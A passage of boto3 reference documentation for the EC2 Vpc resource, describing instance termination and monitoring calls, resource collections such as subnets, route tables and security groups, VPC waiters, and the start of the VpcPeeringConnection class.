(for example, because of a single incorrect instance ID), none of the instances are terminated. + +Terminated instances remain visible after termination (for approximately one hour). + +By default, Amazon EC2 deletes all EBS volumes that were attached when the instance launched. Volumes attached after instance launch continue running. + +You can stop, start, and terminate EBS-backed instances. You can only terminate instance store-backed instances. What happens to an instance differs if you stop it or terminate it. For example, when you stop an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, any attached EBS volumes with the DeleteOnTermination block device mapping parameter set to true are automatically deleted. For more information about the differences between stopping and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information about troubleshooting, see [Troubleshooting terminating your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesShuttingDown.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/TerminateInstances) + +**Request Syntax** + +response = vpc.instances.terminate( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TerminatingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **TerminatingInstances** _(list) --_ + + Information about the terminated instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +unmonitor(kwargs_) + +Disables detailed monitoring for a running instance. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnmonitorInstances) + +**Request Syntax** + +response = vpc.instances.unmonitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **InstanceMonitorings** _(list) --_ + + The monitoring information. + + * _(dict) --_ + + Describes the monitoring of an instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +internet_gateways + +A collection of InternetGateway resources.A InternetGateway Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all InternetGateway resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = vpc.internet_gateways.all() + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +filter(kwargs_) + +Creates an iterable of all InternetGateway resources in the collection filtered by kwargs passed to method.A InternetGateway collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = vpc.internet_gateways.filter( + DryRun=True|False, + InternetGatewayIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InternetGatewayIds** (_list_) -- + + One or more internet gateway IDs. + + Default: Describes all your internet gateways. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of InternetGateway resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = vpc.internet_gateways.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +page_size(kwargs_) + +Creates an iterable of all InternetGateway resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = vpc.internet_gateways.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +network_acls + +A collection of NetworkAcl resources.A NetworkAcl Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all NetworkAcl resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = vpc.network_acls.all() + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +filter(kwargs_) + +Creates an iterable of all NetworkAcl resources in the collection filtered by kwargs passed to method.A NetworkAcl collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = vpc.network_acls.filter( + DryRun=True|False, + NetworkAclIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkAclIds** (_list_) -- + + One or more network ACL IDs. + + Default: Describes all your network ACLs. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of NetworkAcl resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = vpc.network_acls.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +page_size(kwargs_) + +Creates an iterable of all NetworkAcl resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = vpc.network_acls.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +network_interfaces + +A collection of NetworkInterface resources.A NetworkInterface Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all NetworkInterface resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = vpc.network_interfaces.all() + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +filter(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection filtered by kwargs passed to method.A NetworkInterface collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = vpc.network_interfaces.filter( + DryRun=True|False, + NetworkInterfaceIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInterfaceIds** (_list_) -- + + One or more network interface IDs. + + Default: Describes all your network interfaces. + + * _(string) --_ +* **NextToken** (_string_) -- The token to retrieve the next page of results. +* **MaxResults** (_integer_) -- The maximum number of items to return for this request. The request returns a token that you can specify in a subsequent call to get the next set of results. You cannot specify this parameter and the network interface IDs parameter in the same request. + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of NetworkInterface resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = vpc.network_interfaces.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +page_size(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = vpc.network_interfaces.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +requested_vpc_peering_connections + +A collection of VpcPeeringConnection resources.A VpcPeeringConnection Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all VpcPeeringConnection resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.requested_vpc_peering_connections.all() + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +filter(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection filtered by kwargs passed to method.A VpcPeeringConnection collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.requested_vpc_peering_connections.filter( + DryRun=True|False, + VpcPeeringConnectionIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcPeeringConnectionIds** (_list_) -- + + One or more VPC peering connection IDs. + + Default: Describes all your VPC peering connections. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of VpcPeeringConnection resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.requested_vpc_peering_connections.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +page_size(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.requested_vpc_peering_connections.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +route_tables + +A collection of RouteTable resources.A RouteTable Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all RouteTable resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = vpc.route_tables.all() + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +filter(kwargs_) + +Creates an iterable of all RouteTable resources in the collection filtered by kwargs passed to method.A RouteTable collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = vpc.route_tables.filter( + DryRun=True|False, + RouteTableIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **RouteTableIds** (_list_) -- + + One or more route table IDs. + + Default: Describes all your route tables. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of RouteTable resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = vpc.route_tables.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +page_size(kwargs_) + +Creates an iterable of all RouteTable resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = vpc.route_tables.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +security_groups + +A collection of SecurityGroup resources.A SecurityGroup Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all SecurityGroup resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = vpc.security_groups.all() + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +filter(kwargs_) + +Creates an iterable of all SecurityGroup resources in the collection filtered by kwargs passed to method.A SecurityGroup collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = vpc.security_groups.filter( + GroupIds=[ + 'string', + ], + GroupNames=[ + 'string', + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **GroupIds** (_list_) -- + + The IDs of the security groups. Required for security groups in a nondefault VPC. + + Default: Describes all your security groups. + + * _(string) --_ +* **GroupNames** (_list_) -- + + [EC2-Classic and default VPC only] The names of the security groups. You can specify either the security group name or the security group ID. For security groups in a nondefault VPC, use the group-name filter to describe security groups by name. + + Default: Describes all your security groups. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token to request the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another request with the returned NextToken value. This value can be between 5 and 1000. If this parameter is not specified, then all results are returned. + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of SecurityGroup resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = vpc.security_groups.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +page_size(kwargs_) + +Creates an iterable of all SecurityGroup resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = vpc.security_groups.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +subnets + +A collection of Subnet resources.A Subnet Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Subnet resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = vpc.subnets.all() + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +filter(kwargs_) + +Creates an iterable of all Subnet resources in the collection filtered by kwargs passed to method.A Subnet collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = vpc.subnets.filter( + SubnetIds=[ + 'string', + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **SubnetIds** (_list_) -- + + One or more subnet IDs. + + Default: Describes all your subnets. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Subnet resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = vpc.subnets.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +page_size(kwargs_) + +Creates an iterable of all Subnet resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = vpc.subnets.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +Waiters + +Waiters provide an interface to wait for a resource to reach a specific state. For more information about waiters refer to the [_Resources Introduction Guide_](../../guide/resources.html#waiters-intro). + +wait_until_available(kwargs_) + +Waits until this Vpc is available. This method calls EC2.Waiter.vpc_available.wait() which polls. [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcs) + +**Request Syntax** + +vpc.wait_until_available( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * cidr - The primary IPv4 CIDR block of the VPC. The CIDR block you specify must exactly match the VPC's CIDR block for information to be returned for the VPC. Must contain the slash followed by one or two digits (for example, /28 ). + * cidr-block-association.cidr-block - An IPv4 CIDR block associated with the VPC. + * cidr-block-association.association-id - The association ID for an IPv4 CIDR block associated with the VPC. + * cidr-block-association.state - The state of an IPv4 CIDR block associated with the VPC. + * dhcp-options-id - The ID of a set of DHCP options. + * ipv6-cidr-block-association.ipv6-cidr-block - An IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.ipv6-pool - The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + * ipv6-cidr-block-association.association-id - The association ID for an IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.state - The state of an IPv6 CIDR block associated with the VPC. + * isDefault - Indicates whether the VPC is the default VPC. + * owner-id - The ID of the AWS account that owns the VPC. + * state - The state of the VPC (pending | available ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-id - The ID of the VPC. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Returns + +None + +wait_until_exists(kwargs_) + +Waits until this Vpc is exists. This method calls EC2.Waiter.vpc_exists.wait() which polls. [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs") every 1 seconds until a successful state is reached. An error is returned after 5 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcs) + +**Request Syntax** + +vpc.wait_until_exists( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * cidr - The primary IPv4 CIDR block of the VPC. The CIDR block you specify must exactly match the VPC's CIDR block for information to be returned for the VPC. Must contain the slash followed by one or two digits (for example, /28 ). + * cidr-block-association.cidr-block - An IPv4 CIDR block associated with the VPC. + * cidr-block-association.association-id - The association ID for an IPv4 CIDR block associated with the VPC. + * cidr-block-association.state - The state of an IPv4 CIDR block associated with the VPC. + * dhcp-options-id - The ID of a set of DHCP options. + * ipv6-cidr-block-association.ipv6-cidr-block - An IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.ipv6-pool - The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + * ipv6-cidr-block-association.association-id - The association ID for an IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.state - The state of an IPv6 CIDR block associated with the VPC. + * isDefault - Indicates whether the VPC is the default VPC. + * owner-id - The ID of the AWS account that owns the VPC. + * state - The state of the VPC (pending | available ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-id - The ID of the VPC. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Returns + +None + +[VpcPeeringConnection](#id1257) +-------------------------------------------------------------------------------------- + +_class_ EC2.VpcPeeringConnection(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) VpcPeeringConnection: + +import boto3 + +ec2 = boto3.resource('ec2') +vpc_peering_connection = ec2.VpcPeeringConnection('id') + +Parameters + +**id** (_string_) -- The VpcPeeringConnection's id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [id](#EC2.VpcPeeringConnection.id "EC2.VpcPeeringConnection.id") + +These are the resource's available attributes: + +* [accepter_vpc_info](#EC2.VpcPeeringConnection.accepter_vpc_info "EC2.VpcPeeringConnection.accepter_vpc_info") +* [expiration_time](#EC2.VpcPeeringConnection.expiration_time "EC2.VpcPeeringConnection.expiration_time") +* [requester_vpc_info](#EC2.VpcPeeringConnection.requester_vpc_info "EC2.VpcPeeringConnection.requester_vpc_info") +* [status](#EC2.VpcPeeringConnection.status "EC2.VpcPeeringConnection.status") +* [tags](#EC2.VpcPeeringConnection.tags "EC2.VpcPeeringConnection.tags") +* [vpc_peering_connection_id](#EC2.VpcPeeringConnection.vpc_peering_connection_id "EC2.VpcPeeringConnection.vpc_peering_connection_id") + +These are the resource's available references: + +* [accepter_vpc](#EC2.VpcPeeringConnection.accepter_vpc "EC2.VpcPeeringConnection.accepter_vpc") +* [requester_vpc](#EC2.VpcPeeringConnection.requester_vpc "EC2.VpcPeeringConnection.requester_vpc") + +These are the resource's available actions: + +* [accept()](#EC2.VpcPeeringConnection.accept "EC2.VpcPeeringConnection.accept") +* [delete()](#EC2.VpcPeeringConnection.delete "EC2.VpcPeeringConnection.delete") +* [get_available_subresources()](#EC2.VpcPeeringConnection.get_available_subresources "EC2.VpcPeeringConnection.get_available_subresources") +* [load()](#EC2.VpcPeeringConnection.load "EC2.VpcPeeringConnection.load") +* [reject()](#EC2.VpcPeeringConnection.reject "EC2.VpcPeeringConnection.reject") +* [reload()](#EC2.VpcPeeringConnection.reload "EC2.VpcPeeringConnection.reload") + +These are the resource's available waiters: + +* [wait_until_exists()](#EC2.VpcPeeringConnection.wait_until_exists "EC2.VpcPeeringConnection.wait_until_exists") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The VpcPeeringConnection's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.VpcPeeringConnection.load "EC2.VpcPeeringConnection.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +accepter_vpc_info + +* _(dict) --_ + + Information about the accepter VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The 